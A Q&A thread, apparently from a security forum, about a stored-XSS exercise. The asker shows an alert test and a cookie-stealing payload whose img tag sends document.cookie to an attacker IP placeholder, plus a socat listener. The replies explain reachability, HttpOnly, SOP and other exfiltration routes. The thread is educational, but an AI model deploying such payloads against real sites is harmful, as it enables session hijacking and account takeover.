0

Two parts to this question.

  1. Let's say there is a site which accepts my input and sends it in XML format to server. When I enter the input as shown here: https://ghostbin.com/paste/hc5n6

The reason I put the code at above link is because I cannot insert the code here. It does not format properly.

It adds a new line in the HTML page response:

<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn

I even receive a popup and the JavaScript executes successfully.

So, as I understand, the page is vulnerable to persistent XSS? Since those entries are persistent on the web page and each time I reload the web page, the javascript is a part of the HTML response.

  1. Now, I want to steal the admin cookie (this is part of an exercise where the server is remote). It is not a Local area network.

I constructed my payload as shown below:

<![CDATA[rn
    <script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
    ]]>

Here, ip_address is my local IP address (as returned by ifconfig).

I run socat on my local machine as shown below:

socat TCP-LISTEN:80,reuseaddr,fork -

Now, my question is, how can I receive the admin cookie using above method?

Because the server is remote. When the administrator visits the page with persistent XSS, how will the cookie of administrator be transmitted to me?

Do I need to supply my public IP address in above image URL instead of the local IP address?

  • You need to provide your IP address as it is visible and reachable from the victim, i.e. the admin executing this code within his browser on his computer. It is unknown what your specific network setup is, i.e. if the admins computer is in the same local network as your system. If it is your local IP address is fine but if the admin is outside you need to have the public reachable IP and also add port forwarding to your local IP. – Steffen Ullrich Dec 15 '18 at 4:51
  • Could you confirm if my syntax above is correct? I have a public VPS and I can reach my web server using the public IP address in the browser. The apache server on my VPS is already listening on port 80. So, I substituted my IP address in the above code however I did not receive the HTTP GET request from the administrator in my apache access logs with the admin's cookie. – Neon Flash Dec 15 '18 at 6:46
  • I only see one HTTP GET request in the apache logs with the cookie and that corresponds to my own cookie. This request is initiated when I submit the above code. So, the image tag will be rendered by my browser and the HTTP GET request is initiated by my browser. – Neon Flash Dec 15 '18 at 6:47
  • I cannot conclude from the comments and description how the setup looks like, i.e. which IP address is now used in the stored XSS and if this IP address is reachable from the admins browser. I also have no idea if the stored XSS you see as a normal user will even affect the administrator and if the administrator has even visited the page so that the XSS gets triggered. – Steffen Ullrich Dec 15 '18 at 7:36
  • The administrator will visit this page. As I mentioned earlier, it is part of an exercise. This is one of the conditions mentioned in the exercise that the admin will visit the page where we can post our comments. – Neon Flash Dec 15 '18 at 14:21
1

To get another user's cookie via javascript, you seem to need the following conditions to hold true:

  • the cookie is not set with HttpOnly (otherwise the browser will deny JS access to the cookie) or you are able to get a JS based keylogger into the login page and MFA is not used.
  • you are able to get the XSS to run somewhere an admin user will be
  • and either:
    1. you have a resolveable host that the cookie can be sent to - if this is a public internet application and you're not on the same network, you could use a personal machine exposed via something like ngrok or some other host that is publicly addressable like an exposed AWS/GCP/Azure server
      • and CORS is enabled so the browser doesn't block a x-domain request/you use a way of bypassing SOP like via the img tag in your example. or
    2. can devise some means of exfiltrating the cookie via the server that hosts the site. This might be achieved by causing the admin user to post their cookie back to the site somewhere you can find it/extract it from server rendered HTML (like a hidden field in a forum post or something).

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.